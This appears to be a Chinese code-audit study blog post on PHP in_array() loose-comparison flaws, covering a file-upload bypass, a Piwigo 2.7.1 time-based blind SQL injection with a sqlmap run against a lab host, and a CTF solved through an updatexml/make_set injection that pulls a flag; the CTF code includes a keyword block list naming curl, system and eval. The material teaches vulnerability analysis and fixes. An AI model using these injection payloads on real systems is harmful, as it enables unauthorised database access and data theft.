一、开始代码审计之旅 01

从今天起,学习代码审计了,这篇文章就叫代码审计01吧,题目来自 PHP SECURITY CALENDAR 2017 的第一题,结合 红日安全 写的文章,开始吧。

二、先看这道题目

1、题目名称:Wish List

2、in_array() 函数的作用

in_array() 函数的作用是判断第一参数是否存在第二个参数中,存在返回 true,不存在返回 false。需要注意的是,如果函数第三个参数为 true,则第一个参数必须还要和第二个参数同类型,函数才能返回 true。不写第三个参数,在一些情况下函数会发生强制转换,题目的漏洞就出在这里。

3、题目漏洞解析

if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file($this->file['tmp_name'], self::UPLOAD_DIRECTORY . $this->file['name']);
}

in_array() 函数并只简单判断文件名是否存在白名单中,并没有将第三个参数设置为 true,攻击者可以上传一个 5backdoor.php 的文件,其文件名为 5backdoor,in_array() 函数将文件名强制转换为 5 ,符合 ranger(1,24) 的白名单条件,5backdoor.php 可以上传,于是一个任意文件上传漏洞就产生了。

4、in_array() 的扩展知识

in_array 的一段代码,可以明确看到非严格模式与严格模式下的区别:

<?php
$array = array(
'egg' => true,
'cheese' => false,
'hair' => 765,
'goblins' => null,
'ogres' => 'no ogres allowed in this array'
); // Loose checking -- return values are in comments
// First three make sense, last four do not
var_dump(in_array(null, $array)); // true
var_dump(in_array(false, $array)); // true
var_dump(in_array(765, $array)); // true
var_dump(in_array(763, $array)); // true
var_dump(in_array('egg', $array)); // true
var_dump(in_array('hhh', $array)); // true
var_dump(in_array(array(), $array)); // true // Strict checking
var_dump(in_array(null, $array, true)); // true
var_dump(in_array(false, $array, true)); // true
var_dump(in_array(765, $array, true)); // true
var_dump(in_array(763, $array, true)); // false
var_dump(in_array('egg', $array, true)); // false
var_dump(in_array('hhh', $array, true)); // false
var_dump(in_array(array(), $array, true)); // false ?>

三、结合一个案例

选取 piwigo2.7.1 内容管理系统的一个 SQL 注入漏洞来分析

1、漏洞原理分析

漏洞涉及文件:include/functions_rate.inc.phpinclude/config_default.inc.php,以及根目录下的picture.php

picture.php 关键代码:

if (isset($_GET['action']))
{
switch ($_GET['action'])
/*****************中间省略*********************/
case 'rate' :
{
include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
rate_picture($page['image_id'], $_POST['rate']);
redirect($url_self);
}
/*****************中间省略*********************/
}

include/functions_rate.inc.php 关键代码:

function rate_picture($image_id, $rate)
{
global $conf, $user; if (!isset($rate)
or !$conf['rate']
or !in_array($rate, $conf['rate_items']))
{
return false;
}
/*****************中间省略*********************/
if ($user_anonymous)
{
$query.= ' AND anonymous_id = \''.$anonymous_id.'\'';
}
pwg_query($query);
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';
pwg_query($query); return update_rating_score($image_id);
}

include/config_default.inc.php 关键代码:

$conf['rate_items'] = array(0,1,2,3,4,5);

通过上述代码分析,当参数 action=rate时会调用 include/functions_rate.inc.php 的 rate_picture($image_id, $rate) 函数,由于函数 in_array($rate, $conf['rate_items'])) 没有将第三个参数设置因为 true,检查不严格,导致变量 $rate 变量可控,将 $rate 设置为 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 那么 SQL 语句就会变成:

INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date)
VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;

基于时间的 SQL 盲注就产生了。

2、漏洞证明

用 SQL 注入工具 sqlmap 证明漏洞,payload 如下:

python2 sqlmap.py -u "http://192.168.203.131/piwigo/picture.php?/1/category/1&action=rate" --data "rate=1" --dbs --batch

漏洞验证返回结果:

[20:45:34] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://192.168.203.131:80/piwigo/picture.php?/1/category/1'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: rate (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: rate=1 AND SLEEP(5)
---
[20:45:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12
[20:45:37] [INFO] fetching database names
[20:45:37] [INFO] fetching number of databases
[20:45:37] [INFO] resumed: 5
[20:45:37] [INFO] resumed: information_schema
[20:45:37] [INFO] resumed: mysq
[20:45:37] [INFO] resumed: mysql
[20:45:37] [INFO] resumed: performance_schema
[20:45:37] [INFO] resumed: piwigo271
available databases [5]:
[*] information_schema
[*] mysq
[*] mysql
[*] performance_schema
[*] piwigo271

3、修复建议

方法1:将 in_array() 函数的第三个参数设置为 true;

方法2:使用 intval() 函数将变量将转为数字;

方法3:使用正则表达式过滤,只限制为数字(官方修复是用这种方法)。

四、学习一道同类型的 CTF 题目

//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
} $sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
} $id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id"; if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
} $result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
} ?>
//config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1"; function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
# CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null ); INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000); create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

stop_hack() 函数禁用了关键字和函数,看了这篇文章的解析,用 updatexml+make_set 这两个函数就可以成功拿到 flag,payload如下:

http://192.168.203.131/day1/index.php?id=1 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

五、个人收获

  1. 使用 in_array() 函数白名单过滤的时候,使用不当会出漏洞;
  2. 可以使用 updatexml() 或 extractvalue() 函数搭配 make_set() 等函数进行注入;
  3. 坚持学下去,一定有大进步。

六、参考文章

  1. [红日安全]代码审计Day1 - in_array函数缺陷

  2. piwigo SQL injection

  3. 免费开源相册Piwigo<= v2.7.1 SQL注入漏洞分析

  4. [红日安全]PHP-Audit-Labs题解之Day1-4

  5. updatexml injection without concat

  6. MySQL updatexml()、extractvalue() 报错型SQL注入

代码审计学习01-in_array() 函数缺陷的更多相关文章

  1. PHP代码审计02之filter_var()函数缺陷

    前言 根据红日安全写的文章,学习PHP代码审计审计的第二节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完这个题目,会有一道CTF题目来进行巩固,外加一个实例来深入分析,想了 ...

  2. PHP代码审计01之in_array()函数缺陷

    前言 从今天起,结合红日安全写的文章,开始学习代码审计,题目均来自PHP SECURITY CALENDAR 2017,讲完这个题目,会再用一道有相同问题的CTF题来进行巩固.下面开始分析. 漏洞分析 ...

  3. PHP-Audit-Labs-Day1 - in_array函数缺陷

    函数缺陷原理分析 先看一段简单的源代码 class Challenge{ const UPLOAD_DIRECTORY = './solutions/'; private $file; private ...

  4. PHP代码审计04之strpos函数使用不当

    前言 根据红日安全写的文章,学习PHP代码审计的第四节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完题目会用一个实例来加深巩固,这是之前写的,有兴趣可以去看看: PHP代码 ...

  5. Python学习--01入门

    Python学习--01入门 Python是一种解释型.面向对象.动态数据类型的高级程序设计语言.和PHP一样,它是后端开发语言. 如果有C语言.PHP语言.JAVA语言等其中一种语言的基础,学习Py ...

  6. Java学习01

    Java学习01 第一章 1.JRE与JDK JDK(JAVA Develop Kit,JAVA开发工具包)提供了Java的开发环境和运行环境,主要用于开发JAVA程序,面向Java程序的开发者; J ...

  7. 【iScroll源码学习01】准备阶段 - 叶小钗

    [iScroll源码学习01]准备阶段 - 叶小钗 时间 2013-12-29 18:41:00 博客园-原创精华区 原文  http://www.cnblogs.com/yexiaochai/p/3 ...

  8. jQuery源代码学习_工具函数_type

    jquery源代码学习_工具函数_type jquery里面有一个很重要的工具函数,$.type函数用来判断类型,今天写这篇文章,是来回顾type函数的设计思想,深入理解. 首先来看一下最终结果: 上 ...

  9. PostgreSQL学习手册(五) 函数和操作符

    PostgreSQL学习手册(五) 函数和操作符 一.逻辑操作符:    常用的逻辑操作符有:AND.OR和NOT.其语义与其它编程语言中的逻辑操作符完全相同. 二.比较操作符:    下面是Post ...

随机推荐

  1. java操作HDFS相关demo(TDH,kerberos认证)

    public class Test {     private static Configuration conf;     private static FileSystem fs;     //开 ...

  2. linux串口通信 接收信息不完整 读取不全

    类似这种 ready.o是我用来读取串口信息的一个程序 执行结果如下: [root@localhost testPlc]# ./ready.o 0 02 1 30 2 30 3 46 4 46 5 3 ...

  3. WPF 关于拖拽打开文件的注意事项

    由于开发需求,需要开发一个类似Win图片浏览的工具 当然也涉及到了拖拽打开的需求 按照固有思路: <Grid x:Name="grid1" AllowDrop="T ...

  4. 学习记录——使用PHP实现数据增删查改等基本功能(前后端分离)

    萌新初次学习服务器端语言,分享学习经验 实现功能:1.显示数据表    2.对数据进行分页    3.对数据进行增删查改 由于本萌新采用前后端完全分离方案,所以数据传输用的ajax,为了提高代码的复用 ...

  5. Java安全之Weblogic 2016-3510 分析

    Java安全之Weblogic 2016-3510 分析 首发安全客:Java安全之Weblogic 2016-3510 分析 0x00 前言 续前面两篇文章的T3漏洞分析文章,继续来分析CVE-20 ...

  6. LeetCode145 二叉树的后序遍历

    给定一个二叉树,返回它的 后序 遍历. 示例: 输入: [1,null,2,3] 1 \ 2 / 3 输出: [3,2,1] 进阶: 递归算法很简单,你可以通过迭代算法完成吗? /** * Defin ...

  7. 【Web】实现动态文章列表

    简单记录 -慕课网- 步骤二:动态文章列表效果 实现这个 一个网页中常见的文章列表效果. 怎么实现文章列表案例 分解一波,CSS来改变样式 标题标签 HTML的无序列表 去掉项目符号 符号所占空间 列 ...

  8. 【Linux】使用 iperf 测试 Linux 服务器带宽

    iperf 简介 iperf 是一个用于测试网络带宽的命令行工具,可以测试服务器的网络吞吐量.目前发现两个很实用的功能: 测试服务器网络吞吐量:如果我们需要知道某台服务器的「最大」网络带宽,那么最好在 ...

  9. 【Linux】使用cryptsetup加密磁盘 策略为LUKS

    LUKS(Linux Unified Key Setup)为Linux硬盘分区加密提供了一种标准,它不仅能通用于不同的Linux发行版本,还支持多用户/口令.因为它的加密密钥独立于口令,所以如果口令失 ...

  10. 面试时通过volatile关键字,全面展示线程内存模型的能力

    面试时,面试官经常会通过volatile关键字来考核候选人在多线程方面的能力,一旦被问题此类问题,大家可以通过如下的步骤全面这方面的能力.     1 首先通过内存模型说明volatile关键字的作用 ...